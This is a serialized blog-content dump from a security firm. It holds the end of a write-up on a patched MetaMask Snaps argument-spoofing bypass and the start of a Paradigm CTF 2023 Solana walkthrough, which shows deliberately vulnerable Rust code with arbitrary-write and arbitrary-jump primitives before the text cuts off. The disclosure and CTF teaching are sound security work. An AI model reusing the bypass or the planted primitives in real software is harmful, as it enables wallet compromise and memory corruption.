found.'",{"type":23,"tag":41,"props":40286,"children":40287},{"style":70},[40288],{"type":28,"value":3825},{"type":23,"tag":41,"props":40290,"children":40291},{"class":43,"line":23857},[40292],{"type":23,"tag":41,"props":40293,"children":40294},{"style":70},[40295],{"type":28,"value":5872},{"type":23,"tag":41,"props":40297,"children":40298},{"class":43,"line":23911},[40299],{"type":23,"tag":41,"props":40300,"children":40301},{"style":70},[40302],{"type":28,"value":936},{"type":23,"tag":24,"props":40304,"children":40305},{},[40306,40308,40314,40316,40321],{"type":28,"value":40307},"We set ",{"type":23,"tag":37,"props":40309,"children":40311},{"className":40310},[],[40312],{"type":28,"value":40313},"x.method = \"snap_dialog\"",{"type":28,"value":40315}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":37,"props":40317,"children":40319},{"className":40318},[],[40320],{"type":28,"value":39523},{"type":28,"value":40322}," after.",{"type":23,"tag":546,"props":40324,"children":40326},{"id":40325},"mitigation",[40327],{"type":28,"value":40328},"Mitigation",{"type":23,"tag":24,"props":40330,"children":40331},{},[40332,40334,40339,40341,40348],{"type":28,"value":40333},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":37,"props":40335,"children":40337},{"className":40336},[],[40338],{"type":28,"value":39069},{"type":28,"value":40340}," function execution. The patch was introduced on commit ",{"type":23,"tag":458,"props":40342,"children":40345},{"href":40343,"rel":40344},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[462],[40346],{"type":28,"value":40347},"168ff08",{"type":28,"value":40349}," with the following changes:",{"type":23,"tag":31,"props":40351,"children":40353},{"className":2215,"code":40352,"language":2214,"meta":7,"style":7},"const request = async (args: RequestArguments) => {\n-      assertEthereumOutboundRequest(args);\n-      const sanitizedArgs = getSafeJson(args);\n+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+      assertEthereumOutboundRequest(sanitizedArgs);\n",[40354],{"type":23,"tag":37,"props":40355,"children":40356},{"__ignoreMap":7},[40357,40365,40373,40381,40389],{"type":23,"tag":41,"props":40358,"children":40359},{"class":43,"line":44},[40360],{"type":23,"tag":41,"props":40361,"children":40362},{"style":70},[40363],{"type":28,"value":40364},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":41,"props":40366,"children":40367},{"class":43,"line":54},[40368],{"type":23,"tag":41,"props":40369,"children":40370},{"style":735},[40371],{"type":28,"value":40372},"-      assertEthereumOutboundRequest(args);\n",{"type":23,"tag":41,"props":40374,"children":40375},{"class":43,"line":76},[40376],{"type":23,"tag":41,"props":40377,"children":40378},{"style":735},[40379],{"type":28,"value":40380},"-      const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":41,"props":40382,"children":40383},{"class":43,"line":85},[40384],{"type":23,"tag":41,"props":40385,"children":40386},{"style":164},[40387],{"type":28,"value":40388},"+      const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":41,"props":40390,"children":40391},{"class":43,"line":105},[40392],{"type":23,"tag":41,"props":40393,"children":40394},{"style":164},[40395],{"type":28,"value":40396},"+      assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":446,"props":40398,"children":40399},{"id":2811},[40400],{"type":28,"value":2814},{"type":23,"tag":24,"props":40402,"children":40403},{},[40404],{"type":28,"value":40405},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":40407,"children":40408},{},[40409],{"type":28,"value":40410},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":2843,"props":40412,"children":40413},{},[40414],{"type":28,"value":2847},{"title":7,"searchDepth":54,"depth":54,"links":40416},[40417,40418,40425,40433],{"id":18944,"depth":54,"text":18947},{"id":35447,"depth":54,"text":35450,"children":40419},[40420,40421,40422,40423,40424],{"id":35458,"depth":76,"text":35461},{"id":35526,"depth":76,"text":35529},{"id":35562,"depth":76,"text":35565},{"id":36958,"depth":76,"text":36961},{"id":37316,"depth":76,"text":37319},{"id":38102,"depth":54,"text":38105,"children":40426},[40427,40428,40429,40430,40431,40432],{"id":38108,"depth":76,"text":38111},{"id":38152,"depth":76,"text":38155},{"id":39055,"depth":76,"text":39058},{"id":5662,"depth":76,"text":5665},{"id":39496,"depth":76,"text":34823},{"id":40325,"depth":76,"text":40328},{"id":2811,"depth":54,"text":2814},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":40438,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":40439,"description":40440,"author":40441,"image":40443,"date":40445,"isFeatured":18,"onBlogPage":18,"body":40446,"_type":2864,"_id":45866,"_source":2866,"_file":45867,"_stem":45868,"_extension":2869},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[40442,5720],"nicola",{"src":40444},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":40447,"toc":45855},[40448,40462,40482,40487,40491,40504,40529,40535,40540,40555,40909,40924,41189,41205,41848,41854,41859,41872,41880,42092,42100,42403,42411,42554,42562,43087,43093,43105,43118,43132,43137,43905,43910,43918,43923,43929,43941,44006,44011,44024,44037,44043,44071,45222,45235,45277,45282,45287,45301,45441,45462,45483,45490,45541,45549,45560,45573,45578,45702,45715,45817,45821,45834,45839,45851],{"type":23,"tag":24,"props":40449,"children":40450},{},[40451,40453,40460],{"type":28,"value":40452},"In the world of CTFs, ",{"type":23,"tag":458,"props":40454,"children":40457},{"href":40455,"rel":40456},"https://twitter.com/paradigm_ctf",[462],[40458],{"type":28,"value":40459},"Paradigm CTF 2023",{"type":28,"value":40461}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":40463,"children":40464},{},[40465,40467,40474,40475],{"type":28,"value":40466},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":458,"props":40468,"children":40471},{"href":40469,"rel":40470},"https://osec.io/blog/2022-03-14-solana-security-intro",[462],[40472],{"type":28,"value":40473},"Solana: An Auditor's Introduction",{"type":28,"value":1361},{"type":23,"tag":458,"props":40476,"children":40479},{"href":40477,"rel":40478},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[462],[40480],{"type":28,"value":40481},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":40483,"children":40484},{},[40485],{"type":28,"value":40486},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":446,"props":40488,"children":40489},{"id":18944},[40490],{"type":28,"value":18947},{"type":23,"tag":24,"props":40492,"children":40493},{},[40494,40496,40502],{"type":28,"value":40495},"The challenge itself resides into ",{"type":23,"tag":37,"props":40497,"children":40499},{"className":40498},[],[40500],{"type":28,"value":40501},"framework/",{"type":28,"value":40503},", and is composed of 2 parts:",{"type":23,"tag":417,"props":40505,"children":40506},{},[40507,40518],{"type":23,"tag":421,"props":40508,"children":40509},{},[40510,40516],{"type":23,"tag":37,"props":40511,"children":40513},{"className":40512},[],[40514],{"type":28,"value":40515},"framework/chall/lib.rs",{"type":28,"value":40517},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":421,"props":40519,"children":40520},{},[40521,40527],{"type":23,"tag":37,"props":40522,"children":40524},{"className":40523},[],[40525],{"type":28,"value":40526},"framework/src/main.rs",{"type":28,"value":40528},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":546,"props":40530,"children":40532},{"id":40531},"vulnerable-program",[40533],{"type":28,"value":40534},"Vulnerable Program",{"type":23,"tag":24,"props":40536,"children":40537},{},[40538],{"type":28,"value":40539},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":5436,"props":40541,"children":40542},{},[40543],{"type":23,"tag":421,"props":40544,"children":40545},{},[40546,40547,40553],{"type":28,"value":7479},{"type":23,"tag":37,"props":40548,"children":40550},{"className":40549},[],[40551],{"type":28,"value":40552},"data[0] == 0",{"type":28,"value":40554}," a function that lets you write-what-where is executed",{"type":23,"tag":31,"props":40556,"children":40558},{"className":2982,"code":40557,"language":2981,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr.write_volatile(val);\n    }\n}\n",[40559],{"type":23,"tag":37,"props":40560,"children":40561},{"__ignoreMap":7},[40562,40570,40615,40626,40749,40866,40895,40902],{"type":23,"tag":41,"props":40563,"children":40564},{"class":43,"line":44},[40565],{"type":23,"tag":41,"props":40566,"children":40567},{"style":70},[40568],{"type":28,"value":40569},"#[inline(never)]\n",{"type":23,"tag":41,"props":40571,"children":40572},{"class":43,"line":54},[40573,40577,40581,40586,40590,40594,40598,40602,40606,40610],{"type":23,"tag":41,"props":40574,"children":40575},{"style":64},[40576],{"type":28,"value":13685},{"type":23,"tag":41,"props":40578,"children":40579},{"style":64},[40580],{"type":28,"value":13690},{"type":23,"tag":41,"props":40582,"children":40583},{"style":114},[40584],{"type":28,"value":40585}," write",{"type":23,"tag":41,"props":40587,"children":40588},{"style":70},[40589],{"type":28,"value":1737},{"type":23,"tag":41,"props":40591,"children":40592},{"style":858},[40593],{"type":28,"value":3701},{"type":23,"tag":41,"props":40595,"children":40596},{"style":170},[40597],{"type":28,"value":1474},{"type":23,"tag":41,"props":40599,"children":40600},{"style":170},[40601],{"type":28,"value":7140},{"type":23,"tag":41,"props":40603,"children":40604},{"style":70},[40605],{"type":28,"value":312},{"type":23,"tag":41,"props":40607,"children":40608},{"style":94},[40609],{"type":28,"value":3419},{"type":23,"tag":41,"props":40611,"children":40612},{"style":70},[40613],{"type":28,"value":40614},"]) {\n",{"type":23,"tag":41,"props":40616,"children":40617},{"class":43,"line":76},[40618,40622],{"type":23,"tag":41,"props":40619,"children":40620},{"style":64},[40621],{"type":28,"value":13827},{"type":23,"tag":41,"props":40623,"children":40624},{"style":70},[40625],{"type":28,"value":102},{"type":23,"tag":41,"props":40627,"children":40628},{"class":43,"line":85},[40629,40633,40637,40641,40646,40650,40655,40659,40664,40668,40673,40677,40681,40685,40689,40693,40697,40701,40705,40709,40713,40717,40721,40725,40729,40733,40737,40741,40745],{"type":23,"tag":41,"props":40630,"children":40631},{"style":64},[40632],{"type":28,"value":3066},{"type":23,"tag":41,"props":40634,"children":40635},{"style":858},[40636],{"type":28,"value":13851},{"type":23,"tag":41,"props":40638,"children":40639},{"style":170},[40640],{"type":28,"value":3017},{"type":23,"tag":41,"props":40642,"children":40643},{"style":70},[40644],{"type":28,"value":40645}," std",{"type":23,"tag":41,"props":40647,"children":40648},{"style":170},[40649],{"type":28,"value":3479},{"type":23,"tag":41,"props":40651,"children":40652},{"style":70},[40653],{"type":28,"value":40654},"mem",{"type":23,"tag":41,"props":40656,"children":40657},{"style":170},[40658],{"type":28,"value":3479},{"type":23,"tag":41,"props":40660,"children":40661},{"style":114},[40662],{"type":28,"value":40663},"transmute",{"type":23,"tag":41,"props":40665,"children":40666},{"style":170},[40667],{"type":28,"value":3479},{"type":23,"tag":41,"props":40669,"children":40670},{"style":70},[40671],{"type":28,"value":40672},"\u003C[",{"type":23,"tag":41,"props":40674,"children":40675},{"style":94},[40676],{"type":28,"value":3419},{"type":23,"tag":41,"props":40678,"children":40679},{"style":70},[40680],{"type":28,"value":17213},{"type":23,"tag":41,"props":40682,"children":40683},{"style":164},[40684],{"type":28,"value":4078},{"type":23,"tag":41,"props":40686,"children":40687},{"style":70},[40688],{"type":28,"value":23047},{"type":23,"tag":41,"props":40690,"children":40691},{"style":170},[40692],{"type":28,"value":377},{"type":23,"tag":41,"props":40694,"children":40695},{"style":64},[40696],{"type":28,"value":3723},{"type":23,"tag":41,"props":40698,"children":40699},{"style":94},[40700],{"type":28,"value":5860},{"type":23,"tag":41,"props":40702,"children":40703},{"style":70},[40704],{"type":28,"value":7610},{"type":23,"tag":41,"props":40706,"children":40707},{"style":858},[40708],{"type":28,"value":3701},{"type":23,"tag":41,"props":40710,"children":40711},{"style":70},[40712],{"type":28,"value":312},{"type":23,"tag":41,"props":40714,"children":40715},{"style":170},[40716],{"type":28,"value":3053},{"type":23,"tag":41,"props":40718,"children":40719},{"style":164},[40720],{"type":28,"value":4078},{"type":23,"tag":41,"props":40722,"children":40723},{"style":70},[40724],{"type":28,"value":15402},{"type":23,"tag":41,"props":40726,"children":40727},{"style":170},[40728],{"type":28,"value":706},{"type":23,"tag":41,"props":40730,"children":40731},{"style":114},[40732],{"type":28,"value":26161},{"type":23,"tag":41,"props":40734,"children":40735},{"style":70},[40736],{"type":28,"value":13873},{"type":23,"tag":41,"props":40738,"children":40739},{"style":170},[40740],{"type":28,"value":706},{"type":23,"tag":41,"props":40742,"children":40743},{"style":114},[40744],{"type":28,"value":3664},{"type":23,"tag":41,"props":40746,"children":40747},{"style":70},[40748],{"type":28,"value":15416},{"type":23,"tag":41,"props":40750,"children":40751},{"class":43,"line":105},[40752,40756,40761,40765,40769,40773,40777,40781,40785,40789,40793,40797,40801,40805,40809,40813,40817,40821,40825,40829,40833,40838,40842,40846,40850,40854,40858,40862],{"type":23,"tag":41,"props":40753,"children":40754},{"style":64},[40755],{"type":28,"value":3066},{"type":23,"tag":41,"props":40757,"children":40758},{"style":858},[40759],{"type":28,"value":40760}," val",{"type":23,"tag":41,"props":40762,"children":40763},{"style":170},[40764],{"type":28,"value":3017},{"type":23,"tag":41,"props":40766,"children":40767},{"style":70},[40768],{"type":28,"value":40645},{"type":23,"tag":41,"props":40770,"children":40771},{"style":170},[40772],{"type":28,"value":3479},{"type":23,"tag":41,"props":40774,"children":40775},{"style":70},[40776],{"type":28,"value":40654},{"type":23,"tag":41,"props":40778,"children":40779},{"style":170},[40780],{"type":28,"value":3479},{"type":23,"tag":41,"props":40782,"children":40783},{"style":114},[40784],{"type":28,"value":40663},{"type":23,"tag":41,"props":40786,"children":40787},{"style":170},[40788],{"type":28,"value":3479},{"type":23,"tag":41,"props":40790,"children":40791},{"style":70},[40792],{"type":28,"value":40672},{"type":23,"tag":41,"props":40794,"children":40795},{"style":94},[40796],{"type":28,"value":3419},{"type":23,"tag":41,"props":40798,"children":40799},{"style":70},[40800],{"type":28,"value":17213},{"type":23,"tag":41,"props":40802,"children":40803},{"style":164},[40804],{"type":28,"value":4078},{"type":23,"tag":41,"props":40806,"children":40807},{"style":70},[40808],{"type":28,"value":23047},{"type":23,"tag":41,"props":40810,"children":40811},{"style":94},[40812],{"type":28,"value":8041},{"type":23,"tag":41,"props":40814,"children":40815},{"style":70},[40816],{"type":28,"value":7610},{"type":23,"tag":41,"props":40818,"children":40819},{"style":858},[40820],{"type":28,"value":3701},{"type":23,"tag":41,"props":40822,"children":40823},{"style":70},[40824],{"type":28,"value":312},{"type":23,"tag":41,"props":40826,"children":40827},{"style":164},[40828],{"type":28,"value":4078},{"type":23,"tag":41,"props":40830,"children":40831},{"style":170},[40832],{"type":28,"value":3053},{"type":23,"tag":41,"props":40834,"children":40835},{"style":164},[40836],{"type":28,"value":40837},"16",{"type":23,"tag":41,"props":40839,"children":40840},{"style":70},[40841],{"type":28,"value":15402},{"type":23,"tag":41,"props":40843,"children":40844},{"style":170},[40845],{"type":28,"value":706},{"type":23,"tag":41,"props":40847,"children":40848},{"style":114},[40849],{"type":28,"value":26161},{"type":23,"tag":41,"props":40851,"children":40852},{"style":70},[40853],{"type":28,"value":13873},{"type":23,"tag":41,"props":40855,"children":40856},{"style":170},[40857],{"type":28,"value":706},{"type":23,"tag":41,"props":40859,"children":40860},{"style":114},[40861],{"type":28,"value":3664},{"type":23,"tag":41,"props":40863,"children":40864},{"style":70},[40865],{"type":28,"value":15416},{"type":23,"tag":41,"props":40867,"children":40868},{"class":43,"line":155},[40869,40874,40878,40883,40887,40891],{"type":23,"tag":41,"props":40870,"children":40871},{"style":858},[40872],{"type":28,"value":40873},"        ptr",{"type":23,"tag":41,"props":40875,"children":40876},{"style":170},[40877],{"type":28,"value":706},{"type":23,"tag":41,"props":40879,"children":40880},{"style":114},[40881],{"type":28,"value":40882},"write_volatile",{"type":23,"tag":41,"props":40884,"children":40885},{"style":70},[40886],{"type":28,"value":1737},{"type":23,"tag":41,"props":40888,"children":40889},{"style":858},[40890],{"type":28,"value":12627},{"type":23,"tag":41,"props":40892,"children":40893},{"style":70},[40894],{"type":28,"value":3825},{"type":23,"tag":41,"props":40896,"children":40897},{"class":43,"line":186},[40898],{"type":23,"tag":41,"props":40899,"children":40900},{"style":70},[40901],{"type":28,"value":192},{"type":23,"tag":41,"props":40903,"children":40904},{"class":43,"line":195},[40905],{"type":23,"tag":41,"props":40906,"children":40907},{"style":70},[40908],{"type":28,"value":201},{"type":23,"tag":5436,"props":40910,"children":40911},{"start":54},[40912],{"type":23,"tag":421,"props":40913,"children":40914},{},[40915,40916,40922],{"type":28,"value":7479},{"type":23,"tag":37,"props":40917,"children":40919},{"className":40918},[],[40920],{"type":28,"value":40921},"data[0] == 1",{"type":28,"value":40923},", a CPI to a non-existent program is executed:",{"type":23,"tag":31,"props":40925,"children":40927},{"className":2982,"code":40926,"language":2981,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n    let ix = Instruction {\n        program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n        data: data.try_into().unwrap(),\n        accounts: vec![]\n    };\n\n    invoke_signed_unchecked(\n        &ix,\n        &[],\n        &[],\n    ).unwrap();\n}\n",[40928],{"type":23,"tag":37,"props":40929,"children":40930},{"__ignoreMap":7},[40931,40938,40982,41007,41037,41077,41098,41105,41112,41124,41140,41152,41163,41182],{"type":23,"tag":41,"props":40932,"children":40933},{"class":43,"line":44},[40934],{"type":23,"tag":41,"props":40935,"children":40936},{"style":70},[40937],{"type":28,"value":40569},{"type":23,"tag":41,"props":40939,"children":40940},{"class":43,"line":54},[40941,40945,40949,40954,40958,40962,40966,40970,40974,40978],{"type":23,"tag":41,"props":40942,"children":40943},{"style":64},[40944],{"type":28,"value":13685},{"type":23,"tag":41,"props":40946,"children":40947},{"style":64},[40948],{"type":28,"value":13690},{"type":23,"tag":41,"props":40950,"children":40951},{"style":114},[40952],{"type":28,"value":40953}," call",{"type":23,"tag":41,"props":40955,"children":40956},{"style":70},[40957],{"type":28,"value":1737},{"type":23,"tag":41,"props":40959,"children":40960},{"style":858},[40961],{"type":28,"value":3701},{"type":23,"tag":41,"props":40963,"children":40964},{"style":170},[40965],{"type":28,"value":1474},{"type":23,"tag":41,"props":40967,"children":40968},{"style":170},[40969],{"type":28,"value":7140},{"type":23,"tag":41,"props":40971,"children":40972},{"style":70},[40973],{"type":28,"value":312},{"type":23,"tag":41,"props":40975,"children":40976},{"style":94},[40977],{"type":28,"value":3419},{"type":23,"tag":41,"props":40979,"children":40980},{"style":70},[40981],{"type":28,"value":40614},{"type":23,"tag":41,"props":40983,"children":40984},{"class":43,"line":76},[40985,40989,40994,40998,41003],{"type":23,"tag":41,"props":40986,"children":40987},{"style":64},[40988],{"type":28,"value":3002},{"type":23,"tag":41,"props":40990,"children":40991},{"style":858},[40992],{"type":28,"value":40993}," ix",{"type":23,"tag":41,"props":40995,"children":40996},{"style":170},[40997],{"type":28,"value":3017},{"type":23,"tag":41,"props":40999,"children":41000},{"style":94},[41001],{"type":28,"value":41002}," Instruction",{"type":23,"tag":41,"props":41004,"children":41005},{"style":70},[41006],{"type":28,"value":102},{"type":23,"tag":41,"props":41008,"children":41009},{"class":43,"line":85},[41010,41015,41019,41024,41028,41033],{"type":23,"tag":41,"props":41011,"children":41012},{"style":858},[41013],{"type":28,"value":41014},"        program_id",{"type":23,"tag":41,"props":41016,"children":41017},{"style":170},[41018],{"type":28,"value":1474},{"type":23,"tag":41,"props":41020,"children":41021},{"style":114},[41022],{"type":28,"value":41023}," pubkey!",{"type":23,"tag":41,"props":41025,"children":41026},{"style":70},[41027],{"type":28,"value":1737},{"type":23,"tag":41,"props":41029,"children":41030},{"style":735},[41031],{"type":28,"value":41032},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":41,"props":41034,"children":41035},{"style":70},[41036],{"type":28,"value":6735},{"type":23,"tag":41,"props":41038,"children":41039},{"class":43,"line":105},[41040,41045,41049,41053,41057,41061,41065,41069,41073],{"type":23,"tag":41,"props":41041,"children":41042},{"style":858},[41043],{"type":28,"value":41044},"        data",{"type":23,"tag":41,"props":41046,"children":41047},{"style":170},[41048],{"type":28,"value":1474},{"type":23,"tag":41,"props":41050,"children":41051},{"style":858},[41052],{"type":28,"value":15096},{"type":23,"tag":41,"props":41054,"children":41055},{"style":170},[41056],{"type":28,"value":706},{"type":23,"tag":41,"props":41058,"children":41059},{"style":114},[41060],{"type":28,"value":26161},{"type":23,"tag":41,"props":41062,"children":41063},{"style":70},[41064],{"type":28,"value":13873},{"type":23,"tag":41,"props":41066,"children":41067},{"style":170},[41068],{"type":28,"value":706},{"type":23,"tag":41,"props":41070,"children":41071},{"style":114},[41072],{"type":28,"value":3664},{"type":23,"tag":41,"props":41074,"children":41075},{"style":70},[41076],{"type":28,"value":3489},{"type":23,"tag":41,"props":41078,"children":41079},{"class":43,"line":155},[41080,41085,41089,41093],{"type":23,"tag":41,"props":41081,"children":41082},{"style":858},[41083],{"type":28,"value":41084},"        accounts",{"type":23,"tag":41,"props":41086,"children":41087},{"style":170},[41088],{"type":28,"value":1474},{"type":23,"tag":41,"props":41090,"children":41091},{"style":114},[41092],{"type":28,"value":3728},{"type":23,"tag":41,"props":41094,"children":41095},{"style":70},[41096],{"type":28,"value":41097},"[]\n",{"type":23,"tag":41,"props":41099,"children":41100},{"class":43,"line":186},[41101],{"type":23,"tag":41,"props":41102,"children":41103},{"style":70},[41104],{"type":28,"value":38990},{"type":23,"tag":41,"props":41106,"children":41107},{"class":43,"line":195},[41108],{"type":23,"tag":41,"props":41109,"children":41110},{"emptyLinePlaceholder":18},[41111],{"type":28,"value":82},{"type":23,"tag":41,"props":41113,"children":41114},{"class":43,"line":905},[41115,41120],{"type":23,"tag":41,"props":41116,"children":41117},{"style":114},[41118],{"type":28,"value":41119},"    invoke_signed_unchecked",{"type":23,"tag":41,"props":41121,"children":41122},{"style":70},[41123],{"type":28,"value":3461},{"type":23,"tag":41,"props":41125,"children":41126},{"class":43,"line":922},[41127,41131,41136],{"type":23,"tag":41,"props":41128,"children":41129},{"style":170},[41130],{"type":28,"value":3469},{"type":23,"tag":41,"props":41132,"children":41133},{"style":858},[41134],{"type":28,"value":41135},"ix",{"type":23,"tag":41,"props":41137,"children":41138},{"style":70},[41139],{"type":28,"value":3506},{"type":23,"tag":41,"props":41141,"children":41142},{"class":43,"line":930},[41143,41147],{"type":23,"tag":41,"props":41144,"children":41145},{"style":170},[41146],{"type":28,"value":3469},{"type":23,"tag":41,"props":41148,"children":41149},{"style":70},[41150],{"type":28,"value":41151},"[],\n",{"type":23,"tag":41,"props":41153,"children":41154},{"class":43,"line":939},[41155,41159],{"type":23,"tag":41,"props":41156,"children":41157},{"style":170},[41158],{"type":28,"value":3469},{"type":23,"tag":41,"props":41160,"children":41161},{"style":70},[41162],{"type":28,"value":41151},{"type":23,"tag":41,"props":41164,"children":41165},{"class":43,"line":947},[41166,41170,41174,41178],{"type":23,"tag":41,"props":41167,"children":41168},{"style":70},[41169],{"type":28,"value":3655},{"type":23,"tag":41,"props":41171,"children":41172},{"style":170},[41173],{"type":28,"value":706},{"type":23,"tag":41,"props":41175,"children":41176},{"style":114},[41177],{"type":28,"value":3664},{"type":23,"tag":41,"props":41179,"children":41180},{"style":70},[41181],{"type":28,"value":3669},{"type":23,"tag":41,"props":41183,"children":41184},{"class":43,"line":985},[41185],{"type":23,"tag":41,"props":41186,"children":41187},{"style":70},[41188],{"type":28,"value":201},{"type":23,"tag":5436,"props":41190,"children":41191},{"start":76},[41192],{"type":23,"tag":421,"props":41193,"children":41194},{},[41195,41197,41203],{"type":28,"value":41196},"Finally, if ",{"type":23,"tag":37,"props":41198,"children":41200},{"className":41199},[],[41201],{"type":28,"value":41202},"data[0]",{"type":28,"value":41204}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":31,"props":41206,"children":41208},{"className":2982,"code":41207,"language":2981,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n    unsafe {\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n\n        data = &data[16..];\n\n        let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n        let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n        ptr(val);\n    }\n}\n",[41209],{"type":23,"tag":37,"props":41210,"children":41211},{"__ignoreMap":7},[41212,41219,41267,41278,41398,41513,41532,41539,41574,41581,41700,41815,41834,41841],{"type":23,"tag":41,"props":41213,"children":41214},{"class":43,"line":44},[41215],{"type":23,"tag":41,"props":41216,"children":41217},{"style":70},[41218],{"type":28,"value":40569},{"type":23,"tag":41,"props":41220,"children":41221},{"class":43,"line":54},[41222,41226,41230,41235,41239,41243,41247,41251,41255,41259,41263],{"type":23,"tag":41,"props":41223,"children":41224},{"style":64},[41225],{"type":28,"value":13685},{"type":23,"tag":41,"props":41227,"children":41228},{"style":64},[41229],{"type":28,"value":13690},{"type":23,"tag":41,"props":41231,"children":41232},{"style":114},[41233],{"type":28,"value":41234}," process",{"type":23,"tag":41,"props":41236,"children":41237},{"style":70},[41238],{"type":28,"value":1737},{"type":23,"tag":41,"props":41240,"children":41241},{"style":64},[41242],{"type":28,"value":3723},{"type":23,"tag":41,"props":41244,"children":41245},{"style":858},[41246],{"type":28,"value":15096},{"type":23,"tag":41,"props":41248,"children":41249},{"style":170},[41250],{"type":28,"value":1474},{"type":23,"tag":41,"props":41252,"children":41253},{"style":170},[41254],{"type":28,"value":7140},{"type":23,"tag":41,"props":41256,"children":41257},{"style":70},[41258],{"type":28,"value":312},{"type":23,"tag":41,"props":41260,"children":41261},{"style":94},[41262],{"type":28,"value":3419},{"type":23,"tag":41,"props":41264,"children":41265},{"style":70},[41266],{"type":28,"value":40614},{"type":23,"tag":41,"props":41268,"children":41269},{"class":43,"line":76},[41270,41274],{"type":23,"tag":41,"props":41271,"children":41272},{"style":64},[41273],{"type":28,"value":13827},{"type":23,"tag":41,"props":41275,"children":41276},{"style":70},[41277],{"type":28,"value":102},{"type":23,"tag":41,"props":41279,"children":41280},{"class":43,"line":85},[41281,41285,41289,41293,41297,41301,41305,41309,41313,41317,41321,41325,41329,41333,41337,41341,41345,41349,41354,41358,41362,41366,41370,41374,41378,41382,41386,41390,41394],{"type":23,"tag":41,"props":41282,"children":41283},{"style":64},[41284],{"type":28,"value":3066},{"type":23,"tag":41,"props":41286,"children":41287},{"style":858},[41288],{"type":28,"value":13851},{"type":23,"tag":41,"props":41290,"children":41291},{"style":170},[41292],{"type":28,"value":3017},{"type":23,"tag":41,"props":41294,"children":41295},{"style":70},[41296],{"type":28,"value":40645},{"type":23,"tag":41,"props":41298,"children":41299},{"style":170},[41300],{"type":28,"value":3479},{"type":23,"tag":41,"props":41302,"children":41303},{"style":70},[41304],{"type":28,"value":40654},{"type":23,"tag":41,"props":41306,"children":41307},{"style":170},[41308],{"type":28,"value":3479},{"type":23,"tag":41,"props":41310,"children":41311},{"style":114},[41312],{"type":28,"value":40663},{"type":23,"tag":41,"props":41314,"children":41315},{"style":170},[41316],{"type":28,"value":3479},{"type":23,"tag":41,"props":41318,"children":41319},{"style":70},[41320],{"type":28,"value":40672},{"type":23,"tag":41,"props":41322,"children":41323},{"style":94},[41324],{"type":28,"value":3419},{"type":23,"tag":41,"props":41326,"children":41327},{"style":70},[41328],{"type":28,"value":17213},{"type":23,"tag":41,"props":41330,"children":41331},{"style":164},[41332],{"type":28,"value":4078},{"type":23,"tag":41,"props":41334,"children":41335},{"style":70},[41336],{"type":28,"value":23047},{"type":23,"tag":41,"props":41338,"children":41339},{"style":64},[41340],{"type":28,"value":20255},{"type":23,"tag":41,"props":41342,"children":41343},{"style":70},[41344],{"type":28,"value":1737},{"type":23,"tag":41,"props":41346,"children":41347},{"style":94},[41348],{"type":28,"value":8041},{"type":23,"tag":41,"props":41350,"children":41351},{"style":70},[41352],{"type":28,"value":41353},")>(",{"type":23,"tag":41,"props":41355,"children":41356},{"style":858},[41357],{"type":28,"value":3701},{"type":23,"tag":41,"props":41359,"children":41360},{"style":70},[41361],{"type":28,"value":312},{"type":23,"tag":41,"props":41363,"children":41364},{"style":170},[41365],{"type":28,"value":3053},{"type":23,"tag":41,"props":41367,"children":41368},{"style":164},[41369],{"type":28,"value":4078},{"type":23,"tag":41,"props":41371,"children":41372},{"style":70},[41373],{"type":28,"value":15402},{"type":23,"tag":41,"props":41375,"children":41376},{"style":170},[41377],{"type":28,"value":706},{"type":23,"tag":41,"props":41379,"children":41380},{"style":114},[41381],{"type":28,"value":26161},{"type":23,"tag":41,"props":41383,"children":41384},{"style":70},[41385],{"type":28,"value":13873},{"type":23,"tag":41,"props":41387,"children